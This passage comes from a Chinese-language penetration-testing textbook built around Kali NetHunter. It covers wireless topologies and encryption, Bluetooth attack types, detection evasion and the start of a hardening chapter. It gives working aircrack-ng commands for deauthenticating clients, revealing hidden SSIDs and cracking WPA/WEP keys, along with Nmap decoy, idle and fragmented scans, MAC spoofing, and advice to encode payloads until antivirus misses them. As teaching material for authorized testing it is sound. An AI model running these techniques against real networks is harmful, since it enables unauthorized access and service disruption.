在本节中,我们将讨论各种类型的无线网络拓扑。在攻击无线网络之前,渗透测试人员应该了解无线网络设计以及客户端如何相互连接。

独立基本服务集

受其他无线发射设备的干扰

无线攻击

基本服务集

在“基本服务器集”(BSS)设计中,所有客户端都通过无线路由器或接入点相互连接。无线路由器或接入点负责在客户端和有线网络之间传输网络流量。这种类型的拓扑也被称为基础设施模式:

image

扩展服务集

“扩展服务集”(ESS)模式与 BSS 非常相似。在 ESS 中,有多个接入点或无线路由器连接到同一有线网络。这种设计对于在建筑物或园区内延伸无线信号非常有用,允许用户在漫游时访问网络内的资源:

image

无线标准

电气和电子工程师学会IEEE)在计算和信息技术行业内制定了许多标准。一个非常受专业人士欢迎的标准是 IEEE 802.11 标准,该标准规定了无线通信在 2.4 GHz 和 5 GHz 频率上的操作方式。普通消费者则以另一个名称了解这项技术:Wi-Fi。

以下表格概述了 IEEE 802.11 标准的不同变体,以及它们的操作频率和最大带宽容量:

image

如果您的目标是在 5 GHz 频率上运行的无线网络,而您的无线网络适配器使用的是标准频率,即仅在 2.4 GHz 上运行,您将无法成功对目标网络执行任何攻击。

服务集标识符

服务集标识符SSID)通常被称为无线网络的名称,它被笔记本电脑、智能手机和其他移动设备所看到。 SSID 用于帮助我们区分一个特定的网络与另一个网络。接入点或无线路由器通过广播消息不断地广告其 SSID,而客户端(如笔记本电脑)捕获这些广播消息(更为人所知的是信标)以获取其中包含的 SSID。

SSID 通常是人类可读的文本或最大长度为 32 字节的字符。以下是安卓平板电脑发现的 SSID 示例:

image

无线认证模式

在无线网络上,客户端设备通常有三种不同的方式可以对无线路由器或接入点进行认证:

  • 开放认证

  • 共享密钥认证

  • 集中式认证

开放认证系统非常简单。无线路由器或接入点未配置密码,只是向附近的所有人广播其 SSID。希望连接的客户端可以自由连接,无需在获得无线网络访问权限之前提供任何凭据或身份。开放认证的一个例子是公共区域和场所(如咖啡店)中的免费热点服务。

在共享密钥认证系统中,无线路由器或接入点配置了预共享密钥(PSK)。这种方法允许客户端只有在能够提供正确密钥的情况下才能连接到无线网络。没有适当密钥的客户端将被拒绝访问。这种方法在家庭网络中最常见。

在集中式认证中,使用集中式认证服务器来管理网络用户帐户、权限和计费。无线路由器或接入点未配置秘密密钥,而是与集中式认证系统通信,以查询无线网络上的每次登录尝试。假设用户想要将其笔记本电脑连接到无线网络,因此他们选择适当的 SSID 并尝试连接。无线路由器向用户发送登录请求。用户被提示输入他们的网络用户凭据;然后无线路由器将登录凭据发送到认证服务器进行验证。如果通过,认证服务器告诉无线路由器允许访问并为用户分配某些特权。如果帐户无效,认证服务器告诉无线路由器不要授予网络访问权限。这种方法通常在企业网络中找到:

image

远程认证拨号用户服务(RADIUS)终端访问控制器访问控制系统加强版(TACACS+)都是集中式认证服务器的例子。

无线加密标准

作为渗透测试人员,了解各种无线加密及其标准是很重要的。

有线等效隐私

Wired Equivalent PrivacyWEP)标准是在 IEEE 802.11 网络中实施的第一个加密标准。它旨在在接入点和客户端之间的所有无线通信中提供数据机密性。WEP 使用RC4加密密码/算法来确保传输过程中的机密性;然而,WEP 加密标准使用24 位初始化向量(IV)。在这种情况下,IV 用于为 RC4 加密算法创建密码流。

以下是 WEP 的各种密钥大小:

  • 64 位 WEP 使用 40 位密钥

  • 128 位 WEP 使用 104 位密钥

  • 256 位 WEP 使用 232 位密钥

WEP 多年来以其设计缺陷而闻名,并且在应用于 IEEE 802.11 网络时被认为是安全漏洞。

Wi-Fi Protected Access

Wi-Fi Protected AccessWPA)是为 IEEE 802.11 网络设计的另一种加密标准,是 WEP 标准的后继者。WPA 利用暂态密钥完整性协议TKIP),使用RC4密码(每个数据包 128 位)进行数据加密(机密性)。然而,TKIP 通过简单地增加初始化向量IVs)的大小并混合它们的功能来减轻了 WEP 的漏洞。128 位暂态密钥与客户端设备的媒体访问控制MAC)地址和 IVs 相结合,然后用于数据加密。

Wi-Fi Protected Access 2

Wi-Fi Protected Access 2WPA2)是 IEEE 802.11 无线网络的 WPA 加密标准的后继者。该标准使用高级加密标准AES),比 RC4 加密密码套件更优越。AES 提供更强的数据块加密以确保数据机密性。此外,WPA2 应用计数器模式与密码块链接消息认证码协议CCMP),比 TKIP 更优越。CCMP 使用 128 位密钥进行数据加密,以与 AES 一起提供机密性,从而创建 128 位数据块。

有关无线安全标准的更多信息可以在 Wi-Fi 联盟网站上找到:www.wi-fi.org/discover-wi-fi/security

无线威胁

在使用无线网络时存在以下安全威胁:

  • Rogue access point:有时,渗透测试人员需要检查公司无线网络的安全状况和员工的安全意识。Rogue access point是指渗透测试人员设置一个接入点,带有一个 SSID 来欺骗用户建立连接。想象一下,在一个Rogue access point上创建一个名为Company XYZ VIP Access的 SSID,并将其保持开放。看到这个名字的很多人会认为这个无线网络上有特殊资源。这种技术将允许渗透测试人员轻松地嗅探流量并获取敏感数据。

image

  • Evil twinEvil twin设置与Rogue access point配置有些相似。然而,使用Evil twin,渗透测试人员在企业网络中部署一个接入点,使用与实际组织相同的 SSID。当用户连接时,他们将能够访问本地资源,而不会意识到他们已连接到未经授权的接入点。这将允许渗透测试人员轻松地拦截和嗅探流量。

  • AP 和客户端 MAC 欺骗:渗透测试人员可以记录接入点和关联的客户端的 MAC 地址。捕获这些信息将允许渗透测试人员模仿接入点欺骗受害者连接,或者使用客户端的 MAC 地址与启用 MAC 过滤功能的接入点建立连接。

  • 去认证攻击:渗透测试人员向接入点发送特制的数据包,目的是在接入点和其连接的客户端设备之间创建一个取消关联。简而言之:去认证攻击将导致接入点踢掉一个或多个客户端。这种攻击还有以下好处:

  • 发现隐藏的 SSID。这是通过监视客户端设备发送的探测包及其与接入点的关联来完成的。

  • 捕获用于破解无线网络密码的 WPA2 握手。

无线攻击

对于以下大多数攻击,我们将使用 aircrack-ng 套件工具来帮助我们实现我们的目标。

Aircrack-ng可以在www.aircrack-ng.org找到。

练习-检查无线网卡是否支持注入

确定您的无线网卡是否支持数据包注入的一种快速简便的方法是使用aireplay-ng工具。使用aireplay --test <*interface*>命令将测试数据包注入。

以下是使用该命令的演示。如您所见,我们的网卡支持数据包注入:

image

此外,可以使用-9参数代替--test

image

如果您仔细观察输出,您会看到每个接入点的数据包丢失比例。

练习-检测接入点及其制造商

我们可以检测到 Kali NetHunter 设备范围内的每个接入点。我们将能够确定以下内容:

  • 接入点的 MAC 地址或 BSSID

  • 通过显示 PWR 值来显示其信号评级

  • 其加密标准、密码和认证方法

  • 网络名称或 ESSID

要开始,请确保您的无线网络适配器处于监控模式。在启用监控模式之前,我们需要确保没有任何可能妨碍此过程的进程。因此,我们使用以下命令来终止任何此类进程:

airmon-ng check kill

现在我们可以使用以下命令将我们的网络适配器配置为监控模式:

airmon-ng start wlan1

您的设备将开始在空中捕获信标和探测包:

image

按下键盘上的A键将允许您循环浏览各种过滤器。这些过滤器包括仅查看接入点、仅查看客户端、仅查看接入点和客户端,最后,仅查看接入点、客户端和确认消息。

让我们确定一个产品的制造商,可以帮助研究有关特定供应商产品的已知漏洞。airodump-ng工具将识别特定制造商的接入点,我们可以使用airodump-ng <*interface*> --manufacturer命令来实现这一点:

image

练习-发现接入点的 WPS 版本

在这个练习中,我们将在 Kali NetHunter 上使用airodump-ng工具的附加参数。使用--bssid语法指定要定位的接入点,-c告诉无线网络适配器监听特定信道,将帮助我们监视特定的无线网络。我们将使用--wps来指示目标接入点的 WPS 模式和版本:

airodump-ng --bssid <bssid value> -c <channel number> <monitoring interface> --wps 

运行上述命令后,我们将得到以下输出:

image

执行我们的命令后,我们得到以下结果:

image

我们可以看到这个接入点已启用 WPS 并且正在使用版本 2。

练习-去认证攻击

去认证攻击只是试图将所有关联/连接的客户端从接入点踢出。在这个练习中,我们将使用aireplay-ng工具来帮助我们完成我们的任务:

  1. 确保您的无线网卡处于监控模式。

  2. 使用airodump-ng获取您的目标的 BSSID。

  3. 使用aireplay -0 0 –a <*目标的 BSSID*> <*监控接口*>命令向目标接入点发送持续的去认证帧流。结果将使所有连接的客户端从网络中断开:

image

aireplay-ng 工具支持许多攻击模式。以下截图来自 aireplay-ng 的手册页面:

image

练习-去认证特定客户端

如果你在无线网络上针对特定客户端,我们可以使用以下命令向接入点发送去认证帧,但只断开指定的客户端。

使用airodump-ng --bssid <*目标的 BSSID*> -c <*频道号*> <*监控接口*>命令来主动监视目标网络:

image

如你所见,有一些与接入点关联的站点(客户端)。让我们尝试客户端解关联:

aireplay-ng -0 0 -a <target's bssid> -c <client's mac addr> wlan1mon
  • -0表示我们正在执行去认证攻击。

  • 0具体指持续攻击。如果使用2,这意味着只向目标发送 2 个去认证消息。

  • -c允许你指定一个特定的站点(客户端设备)进行去认证。如果没有这个参数,攻击将使与接入点关联的所有客户端解关联。

运行上述命令后,我们将得到以下截图:

image

练习-检测去认证攻击

在本书的前面,我们看过了一个叫做tcpdump的神奇工具来捕获网络流量。使用这个工具的另一个好处是检测去认证攻击。由于攻击发生在空中,我们将能够看到它并确定其目标。

为此,我们可以使用tcpdump -n -e -s0 -vvv -i wlan0 | grep DeAuth命令。

  • -n指定不解析 IP 地址

  • -e表示打印 IEEE 802.11 和以太网流量类型的 MAC 地址

  • -v表示详细程度

  • -i指定接口

运行上述命令后,我们将得到以下输出:

image

上述截图中显示的 BSSID 表示受害者接入点。如果这是你的接入点,这表明你正受到黑客的攻击。

练习-发现隐藏的 SSID

许多组织倾向于在接入点上禁用其 SSID 的广播。十多年前,我们认为这是无线网络的安全配置。然而,通过先进的渗透测试工具和技术,渗透测试人员或安全审计员可以在几分钟内发现任何隐藏的 SSID。作为渗透测试人员,如果目标的无线网络对移动设备隐藏,你需要执行以下步骤:

  1. 在无线网络适配器上启用监视模式。

  2. 使用airodump-ng <*监控接口*>命令来显示所有附近的 ESSIDs。注意有一个网络的名称格式不寻常,<length: 6>。这表示接入点已禁用了 SSID 的广播:

image

  1. 监视特定接入点,以确定是否有任何关联或连接的客户端。使用以下命令:
airodump-ng --bssid 68:7F:74:01:28:E1 -c 6 wlan0mon

运行上述命令后,我们将得到以下输出:

image

正如我们所看到的,目前有一个客户端连接。

  1. 创建一个简短的去认证攻击,以在断开连接时强制客户端重新连接。在下面的截图中,我们将向目标接入点发送一个只有 20 帧的去认证攻击:

image

在我们的去认证攻击中途,客户端暂时断开连接并发送探测请求以寻找dd-wrt网络。一旦连接重新建立,airodump-ng 将探测信息(由站点/客户端发送)与 ESSID 和 BSSID 信息进行匹配。正如我们所看到的,SSID/ESSID 已经被揭示:

image

练习-破解 WEP 和 WPA

破解 WEP 和 WPA 的第一步是从目标无线网络中捕获足够的数据。我建议您使用airodump-ng捕获至少 15,000 个数据帧。我们可以使用以下命令来捕获并离线存储数据:

airodump-ng --bssid <*target access point*> -c <*channel*> wlan0mon –w <*output file*>

使用-w参数将允许airodump-ng将其数据写入指定的文件。我们将捕获足够的帧直到获得 WPA 握手:

image

正如您所看到的,我们能够捕获 WPA 握手。为增加客户端重新认证的可能性,您可以尝试使用去认证攻击;这将确保客户端在认证过程中提供秘钥。

使用aircrack-ng <*file name*>命令来验证无线接入点 ESSID、BSSID 以及是否已获取握手:

image

我们的下一步是尝试从捕获的数据中恢复预共享密钥(PSK)。我们将使用带有密码字典文件的aircrack-ng。要快速定位 Kali NetHunter 或 Kali Linux 中的预构建字典文件,请使用locate以下命令:

locate password.lst

运行上述命令后,我们将得到以下输出:

image

现在是时候恢复预共享密钥(PSK)了;让我们使用以下命令:

aircrack-ng dd-wrt-01.cap –w /usr/share/metasploit-framework/data/wordlists/password.lst

一旦您在键盘上按下Enteraircrack-ng将尝试进行字典攻击:

image

正如您所看到的,预共享密钥(PSK)已成功获取。

破解 WEP 加密

破解 WEP 密码类似于破解 WPA/WPA2。在本小节中,我们将演示这种方法:

  1. 要执行先前提到的数据包捕获,我们可以再次使用以下命令:
airodump-ng --bssid <target access point> -c <channel> wlan0mon –w <output file>

我建议您至少捕获 15,000 个数据帧并确保已获取握手。

  1. 一旦握手获取到,确保您的.cap 文件已经离线保存。使用ls -l *cap命令查看我们目录中的所有.cap 文件:

image

我们可以看到有两个捕获文件。在我们的练习中,我们将使用ptw.cap文件。

  1. 让我们尝试一些 WEP 破解技术。要启动aircrack-ng,请使用以下命令:
aircrack-ng ptw.cap

一旦您按下Enteraircrack-ng将尝试恢复 WEP 密钥:

image

正如您所看到的,我们已经找到了我们的密钥。

蓝牙黑客攻击

与 IEEE 802.11 网络上的无线黑客攻击类似,IEEE 802.15 网络上也存在蓝牙黑客攻击。众所周知,蓝牙连接是通过建立临时网络来实现的,距离较短:

image

以下是各种类型的蓝牙攻击的简短列表:

  • Bluejacking:这允许恶意用户向另一台蓝牙连接的蓝牙设备发送未经请求的消息。

  • Bluesnarfing:这是指攻击者能够访问另一台蓝牙设备上的信息。信息可能包括受害者的电子邮件消息、他们的通讯录详细信息或短信消息。

  • Bluesniffing:搜索蓝牙启用设备的战争驾驶概念。

  • 蓝牙窃听:这是指攻击者能够控制受害者的蓝牙设备。这使得攻击者能够监听电话通话并从受害者的设备发送消息。

摘要

在本章中,我们讨论了各种无线拓扑结构,因为渗透测试人员在攻击阶段之前和期间了解这些结构是很重要的。我们涵盖了当前的无线认证模式和加密标准,并研究了它们的相似之处和不同之处。此外,我们深入讨论了无线威胁,并探讨了各种渗透测试攻击。最后,我们涵盖了各种蓝牙攻击。

在下一章中,我们将讨论如何避免被检测到。您将学习各种在渗透测试期间保持隐秘的方法。

第九章:避免被检测

在本书的过程中,我们讨论了许多关于渗透测试阶段的主题,从获取利用信息到掩盖我们的踪迹。要执行成功的渗透测试而不被目标的安全团队察觉,您必须像黑客一样隐秘。

除了在渗透测试期间检测和利用漏洞外,组织还使用这种类型的服务来测试其现有的安全控制和检测率。

如 第二章 中所述,蓝队负责监视、检测和缓解母公司内的任何安全威胁。如果蓝队未能检测到渗透测试人员的活动,这意味着两件事:渗透测试人员非常隐秘,且组织的安全控制需要一些调整。

在本章中,我们将涵盖以下主题:

  • 隐蔽扫描

  • 使用诱饵

  • 分段

  • 空闲扫描

  • 加密

让我们深入研究!

扫描

黑客的第二阶段是扫描阶段。如 第二章 中所讨论的,了解渗透测试过程的阶段,扫描阶段帮助渗透测试人员获取有关目标系统和/或网络的许多详细信息。可能获取的一些信息包括操作系统和构建编号、开放和关闭的服务端口、正在运行的应用程序及其服务版本,以及系统或设备组上是否存在特定的漏洞。

然而,扫描的过程将涉及我们的机器直接与目标系统或网络进行交互。作为一名有抱负的渗透测试人员,很重要的是要非常隐秘,并尽可能避免被目标安全系统检测到。

在对客户的网络基础设施进行渗透测试时,客户组织可能有一个积极监视安全局势的蓝队。如果您在渗透测试的早期或后期阶段被检测到,这将破坏模拟真实世界攻击的目的,因为黑客会尝试窃取数据和破坏系统。

在扫描阶段,渗透测试人员使用许多技术来避免被检测。以下是其中一些技术:

  • 隐蔽扫描

  • 使用诱饵

  • 空闲扫描

  • 欺骗

  • 分段

隐蔽扫描

如果渗透测试人员尝试扫描目标,那么在实际扫描目标之前,TCP 三次握手建立的机会很高。TCP 三次握手最初是为网络上的所有基于 TCP 的通信建立的;一旦建立,数据的正常流动就会发生。

以下是一个演示两个设备之间 TCP 三次握手的图表。为了进一步解释 TCP 三次握手,让我们想象一下网络上有两个设备 A 和 B。假设设备 A 想要与设备 B 进行通信;设备 A 将发送一个 TCP SYN包给设备 B,作为启动对话的方法。当设备 B 收到 TCP SYN包时,它将用一个SYN/ACK包回应设备 A。当设备 A 收到一个SYN/ACK包后,它将通过发送一个 ACK 包来确认。在这一点上,这两个设备之间建立了一个 TCP 连接。

image

在 TCP 连接期间,无论是 A 还是 B 设备收到的每个数据包,接收方都必须通过发送 TCP ACK数据包来确认接收,作为成功交付的指示。如果我们在执行端口扫描的同时与目标设备建立 TCP 会话,那么我们(攻击者)试图进行的侵入性行为就会变得明显。换句话说,这被认为是有噪音的。

在渗透测试的扫描阶段中,我们有 Nmap(网络映射器)工具来帮助我们。NMap 被誉为网络扫描器之王,因为它不仅是那些简单的 ping 扫描器之一,而且还可以包含许多对网络和安全专业人员非常有用的功能。其中一个功能是它能够在目标系统或网络上执行隐形扫描

隐形扫描是如何工作的?:如第四章中所述,扫描和枚举工具,攻击者的机器会部分尝试与受害者的机器创建完整的 TCP 三次握手,发送一个 SYN 数据包;受害者会用一个SYN/ACK数据包回应,然而,攻击者不会完成握手,而是发送一个RST数据包。

受害者在收到RST数据包后,会关闭连接,认为攻击者的机器不再想要通信,但实际上攻击者是在挑衅受害者做出回应并提供一个开放端口的列表。一个开放的端口就像房子里敞开的门;留着一扇门开着,窃贼就可以轻易进入。这意味着如果一个端口被打开,攻击者可以利用这个开放的端口作为他们进入系统的途径。下面的图表展示了隐形扫描的工作原理:

image

使用 Nmap,我们可以通过输入命令nmap –sS <*受害者 IP 地址*>来执行隐形扫描:

image

–sS参数表示我们正在执行隐形扫描。隐形扫描有时被称为 TCP SYN扫描或全开放扫描。

欺骗

正如我们已经注意到的,每当渗透测试人员对目标设备或网络进行扫描时,攻击者的 IP 地址和 MAC 地址会被记录在受害者的机器上。这将使得在网络上识别攻击者的机器变得相当容易。在扫描时伪装自己的一种技术是使用欺骗,以使受害者在试图识别实际攻击者机器时产生困惑。

Nmap,网络扫描器之王,再次来帮助我们。Nmap 有能力在发送给目标设备的探测中插入多个源 IP 地址。为了更详细地说明,让我们想象一下,你给某人寄了一封虚假的信,然而在寄件人地址中,你在信封上加上了你的地址和其他几个地址。当信件被送到时,收件人不会确定实际寄件人,因为有多个来源地址。这使得确定探测的正确来源变得更加困难。要使用 Nmap 的欺骗功能,我们可以使用命令nmap –D <欺骗 1, 欺骗 2, 欺骗 3…> <目标 IP 地址>

-D允许您指定多个源地址作为欺骗:

image

让我们使用 Wireshark 来查看攻击者机器和受害者之间实际发生的交易。攻击者机器的 IP 地址是 10.10.10.11,受害者机器是 10.10.10.100。我们使用了一个过滤器,只看 Wireshark 上发送到我们目标的流量:

image

正如我们在截图中看到的,有多个通过欺骗地址发送的探测,真实的 IP 地址被发送到目标。

空闲扫描

一种更老但仍然可用的扫描方法是使用空闲扫描技术。在空闲扫描中,攻击者机器(设备 A)向僵尸机器(设备 B)发送一个SYN/ACK数据包,以获取其分片标识号。

IPID有时被称为IP 分片 ID。在 TCP/IP 堆栈中,在设备将数据报(消息)发送到网络之前,它会被分成较小的片段,然后每个片段被发送到目的地。IPID 被分配给消息的这些较小片段(位),以指示它们属于同一个数据报或消息。

image

由于攻击者机器没有使用SYN数据包而是使用SYN/ACK数据包发起连接,因此僵尸机器知道它没有收到来自SYN数据包的正式初始化,因此发送一个带有僵尸机器的 IPID(设备 B)的RST数据包:

image

每次设备发送 IP 数据包时,IPID都会增加。

此时,攻击者机器从网络中的僵尸机器获得了 IPID(1234)。接下来,攻击者将使用僵尸机器的欺骗 IP 地址向实际受害者机器发送SYN数据包(检查是否有开放端口)。受害者将以SYN/ACK响应僵尸。僵尸知道它之前没有从受害者那里收到SYN数据包,然后将带有 IPID 的RST数据包响应:

image

如果受害者的端口关闭,目标将向僵尸发送RST而不是SYN/ACK数据包:

image

最后,攻击者将再次探测僵尸以获取僵尸的 IPID。攻击者将发送SYN/ACK数据包。如果僵尸以 1236 的 IPID 响应,则受害者的端口已打开:

image

在最后阶段,如果僵尸的 IPID 没有增加 2(1,234 + 2 = 1,236),则受害者机器上的端口关闭。由于数据包在攻击者、僵尸和受害者机器之间发送,因此僵尸和目标的分片 ID 将增加,因为它们正在通信。我们可以使用 Nmap 执行空闲扫描,命令的语法是nmap –Pn –sI <zombie IP addr> <target IP addr>

僵尸机器在这种扫描方法中是理想的,因为目标会认为探测是由僵尸机器而不是实际的攻击者机器进行的。

通过运行上述命令,您将获得以下屏幕截图:

image

您可以使用man nmap命令查看 Nmap 的手册页面,或者在终端窗口中键入nmap并按Enter

MAC 地址欺骗

正如我们所了解的,欺骗就是简单地让目标相信流量或请求是来自另一个设备或受信任的来源。由于 TCP/IP 协议套件并未设计用于现代安全威胁,因此 IP 和 MAC 地址都可以很容易地被欺骗。

为了防止网络中的 MAC 地址欺骗,网络安全专业人员可以在 Cisco IOS 交换机上实施动态 ARP 检查(DAI)

要为接口生成和分配随机 MAC 地址,我们必须执行以下操作:

  1. 使用ifconfig wlan0 down命令逻辑地关闭接口:

image

  1. 使用macchanger --show wlan0命令验证指定接口的当前和永久 MAC 地址:

image

  1. 使用macchanger --random wlan0命令为我们的wlan0接口生成和分配 MAC 地址:

image

  1. 使用ifconfig wlan0 up命令重新启用接口:

image

此外,您可以使用macchanger –-help命令查看所有可用选项。

通过运行macchanger –-help命令,您将获得以下截图:

image

如您所见,生成随机 MAC 地址以隐藏您的身份的可能性非常容易。

分段

黑客和渗透测试人员用来避免被检测的另一种方法是分段。分段将消息(数据包)分成小块。由于这些消息的小片段通常能够绕过几乎所有用于主动观察网络流量和安全威胁的安全设备和监控工具,因此这些片段被放入网络中。

在分段攻击中,攻击者可以修改防火墙或入侵防范系统(IPS)中每个比特发送的生存时间(TTL)或超时值。这将导致安全设备不容易检测到威胁,并在重新组装过程中混淆设备。

攻击者可以向受害者机器发送有效负载的片段,并使其重新组装成有效负载,而完全不被检测到。

Nmap 允许我们对目标设备进行分段的端口扫描。我们可以使用nmap –f <目标 IP 地址>命令:

image

使用 Wireshark,我们可以看到每个探测被分成较小的片段,然后发送到目标。

image

这种技术可以降低网络中存在 IDS、IPS 或防病毒软件时被检测到的几率。

Metasploit 有效负载生成器

在本书中,我们涵盖了各种主题和工具。Kali NetHunter 平台中的一个特定工具是Metasploit Payload Generator。这个工具的名称基本上描述了它的功能:使用 Metasploit 框架生成有效负载。在 Kali NetHunter 中打开应用程序后,我们会看到以下内容:

image

如您所见,我们可以选择要生成的有效负载类型、IP 地址和端口号,以及其他有效负载选项。如果我们点击类型的下拉菜单,我们将看到以下选项:

image

有许多不同的类型可供选择。利用此功能的一个示例是,如果要为 Microsoft Windows 系统创建有效负载,则可以选择 Windows (.exe)类型。这将使目标/受害设备(在本例中是 Windows 操作系统)相信.exe文件是可信的,因为它看起来像是本机可执行文件。

根据渗透测试的目标操作系统和目标,渗透测试人员可以在上述截图中看到多个选项。

加密流量

大多数组织会部署IPS来主动监视出站和入站流量,特别关注本地或其他类型的安全威胁中的任何恶意流量。

一种规避 IPS 和反恶意软件系统的技术是使用加密。大多数防火墙默认情况下无法检测加密数据包中的恶意软件。然而,下一代防火墙具有一个称为深度数据包检查(DPI)的功能,通常会解开每个数据包的内容,并对其进行扫描和分析。如果没有检测到威胁,它会重新打包并将数据包发送到目的地。如果检测到威胁,防火墙将对其进行隔离,并在其管理控制台界面和任何其他日志记录系统上发送警报。

此外,大多数 IPS 没有解密消息以查看其内容的能力。这将允许攻击者加密恶意有效载荷并通过 IPS 设备而不被检测到。以下图表显示了公司网络的典型设置;如果防火墙上禁用了 DPI,它将允许加密文件(恶意有效载荷)通过:

image

渗透测试人员可以使用 VirusTotal 网站(www.virustotal.com)来测试其加密的有效载荷在各种反恶意软件引擎中的检测水平。作为渗透测试人员的目标是确保您的有效载荷在所有或大多数反恶意软件程序中都是不可检测的。通过修改有效载荷的编码,我们还可以降低检测水平。

总结

在本章中,我们讨论了一些渗透测试人员可以使用的避免检测的技术,例如欺骗 MAC 地址和扫描目标而不暴露我们的真实身份。然而,渗透测试人员不应该局限于仅使用本章提到的技术和方法。作为渗透测试领域的网络安全专业人员,攻击者可以尝试各种无限的方式来保持隐秘,这是一个很棒的地方。

在下一章中,我们将介绍加固技术和对策。在那里,您将学习如何保护 Windows、Linux 和移动操作系统。

第十章:加固技术和对策

进入渗透测试和攻击性安全领域总是非常令人兴奋的;学习如何在系统和网络上进行利用的艺术是很有趣的。有时,你的职业道路可能会从侵入客户网络转向协助组织保护其网络基础设施免受黑客和其他潜在威胁。在过去的几年里,每天都有很多网络攻击被报告。让我们不要忘记那些没有在本地网络中报告网络攻击的组织,因为他们试图保护自己的组织声誉,最后,那些尚未在其网络上检测到入侵的组织。

通常情况下,组织会创造工作岗位来雇佣新的网络安全专业人员,但职称和工作描述并不完全符合渗透测试,而更多地是作为安全管理员或安全工程师。这些角色通常包括紫队的功能,如在第二章中提到的,了解渗透测试过程的各个阶段。紫队是红队和蓝队的结合,他们在网络安全中既扮演攻击方又扮演防御方,以侦测、缓解和实施组织中的网络攻击的对策。

在本章中,我们将学习各种加固技术,以提高系统的安全性。此外,我们将看看组织可以在其基础设施上实施的对策,以预防和缓解网络攻击。

在我们即将结束这本书时,对于渗透测试人员来说,了解不同平台上的加固和缓解技术同样重要,以防范安全威胁并降低风险。

在本章中,我们将涵盖以下主题:

  • 常见的安全威胁

  • 保护网络设备

  • 保护客户操作系统

  • 保护服务器操作系统

  • 保护移动设备平台

让我们开始吧!

安全威胁和对策

在本节中,我们将看看各种安全威胁以及如何实施对策。

病毒

病毒是一种恶意代码,旨在对系统(如计算机)造成伤害。通常情况下,病毒不会自行执行,而是需要人的操作;这种操作可以通过简单地点击或运行感染病毒的文件来完成,这将触发恶意代码的执行。

一个显著的病毒类型被称为蠕虫。蠕虫是一种自我复制的病毒,可以在网络中传播,无需人类的帮助。

想象一下创建一个可以自我复制而无需用户交互并且占用系统资源如此之多以至于一个感染蠕虫的系统几乎无法使用的程序。一旦蠕虫病毒被创建并且其自我复制的过程被触发,清除网络就变得非常困难。

为了防止病毒和蠕虫的恶意软件感染,建议在所有主机设备(如台式机和服务器系统)上启用端点保护,如防病毒或反恶意软件保护。然而,确保每个防病毒客户端始终使用最新的病毒定义非常重要,以最大程度地保护主机。

以下是一些防病毒软件供应商:

  • ZoneAlarm

  • 卡巴斯基实验室

  • Bitdefender

  • Avast

  • 赛门铁克

以下是 ZONEALARM Extreme Security 用户界面的截图:

image

您可能想知道是否有必要购买商业防病毒软件来获得保护。在 Microsoft Windows 平台上,有一个由微软创建的内置/预装的反恶意软件保护,称为Windows Defender,而且是免费的。Windows Defender 提供对各种威胁的实时保护。以下屏幕截图显示了 PC 状态:

image

近年来,加密恶意软件在数字世界中出现,并对全球许多系统造成了重大破坏,因为几乎没有人准备好防范或减轻这种新型威胁;这种恶意软件被称为勒索软件。勒索软件的目标非常简单:一旦受害系统被感染,恶意软件会加密整个系统,使其不稳定,并将磁盘驱动器上的数据作为人质,直到支付赎金为止。然而,用于加密受害者系统磁盘驱动器的加密密钥经常更改,以防止受害者解密驱动器并删除勒索软件。以下是受害者系统上WannaCry勒索软件变种的屏幕截图:

image

感染了勒索软件后,受害者系统上唯一显示的窗口是付款界面。组织中最有价值的资产之一是数据。黑客看到了数据的价值,因此创建了加密恶意软件来劫持这一特定资产。然而,不建议支付赎金,我们知道数据非常有价值,可能包含重要的财务记录和敏感信息。一旦受害者提供他们的信用卡信息,就绝对不能保证攻击者会提供解密密钥;相反,他们可能会从受害者的信用卡中窃取资金。

许多威胁情报和预防公司,如 Check Point Software Technologies (www.checkpoint.com/)、卡巴斯基实验室 (www.kaspersky.co.in/) 和 Bitdefender (www.bitdefender.com/),已开发了反勒索软件保护,以帮助防止和解密受感染的系统。

以下是 ZoneAlarm 反勒索软件客户端的屏幕截图:

image

一旦系统安装了反勒索软件保护,它会在检测到互联网连接后自动更新。如果勒索软件企图在本地系统上安装自己,反勒索软件保护将对系统进行消毒,并解密勒索软件影响的任何文件。

保护免受勒索软件的对策包括以下内容:

  • 在客户系统上安装反勒索软件保护。

  • 定期备份数据。

  • 在操作系统上安装最新更新。

  • 保持防病毒应用程序的更新。

其他常见病毒

以下是一些其他常见的病毒:

  • 特洛伊木马:特洛伊木马病毒伪装成看起来像合法软件或应用程序,但其核心内部包含恶意载荷。其目的是欺骗受害者在其系统上运行该应用程序;一旦特洛伊木马被执行,恶意载荷将在用户不知情的情况下在后台卸载自己。一些特洛伊木马被用于为黑客创建后门,以非法进入受害者系统,这些被称为远程访问特洛伊木马RATs)。

  • 间谍软件:间谍软件是一种安装在受害者系统上的病毒,它收集用户的活动等信息,并将信息发送回其创建者。间谍软件的一个例子是潜伏在受害者系统上并收集用户按键的键盘记录器

  • Rootk****its:Rootkit 病毒的主要目标是成为计算机内核的一部分。Rootkits 通常对操作系统和防病毒应用程序是不可见的。其目的是在受害者计算机上获得根级别权限,这将使恶意软件在系统上具有完全访问权限,从而可以执行任何操作。

恶意软件通常通过以下媒介进行分发:

  • 电子邮件

  • 网络文件共享

  • 互联网或驱动器下载

  • 社会工程学

以下是一些恶意软件的对策和缓解措施:

  • 在所有系统上安装防恶意软件保护。

  • 确保防恶意软件应用程序始终保持最新。

  • 定期在所有系统上运行病毒扫描。

  • 在操作系统上安装最新的更新。

  • 在电子邮件服务器上启用垃圾邮件过滤。

  • 不要点击任何可疑的电子邮件消息或网址。

客户端系统安全

在本节中,我们将重点关注保护操作系统。在组织中,IT 部门通常为每个独特的系统制定基线。安全基线规定了应如何安装和配置操作系统,以确保满足安全要求。

操作系统的安全基线通常包括以下内容:

  • 在操作系统上禁用任何不必要的服务。

  • 定期安装系统更新和补丁。

  • 强制执行密码复杂性策略。

  • 禁用或删除任何不必要的用户帐户。

  • 确保安装并更新端点保护,如防病毒软件。

  • 启用系统日志记录以便追责。

Windows 基线

为 Microsoft Windows 创建基线实际上非常简单。以下目标可用作建立基线的检查表:

  • 操作系统安装应该在磁盘驱动器上的单个分区上使用 NTFS 文件系统进行。

  • 安装最新的补丁并启用 Windows 自动更新,以确保所有漏洞得到相应的修补。

  • 启用和配置 Windows 防火墙。

  • 安装并更新防病毒保护。

  • 禁用任何不必要的服务。

基线是未来参考的起点,可用作测量过程或系统是否在正常容量内运行的依据。

Microsoft 基线安全分析器MBSA)允许系统管理员和安全专业人员扫描本地系统或基于 Windows 的系统网络,以查找任何安全配置错误。

MBSA 可以在www.microsoft.com/en-us/download/details.aspx?id=19892找到。

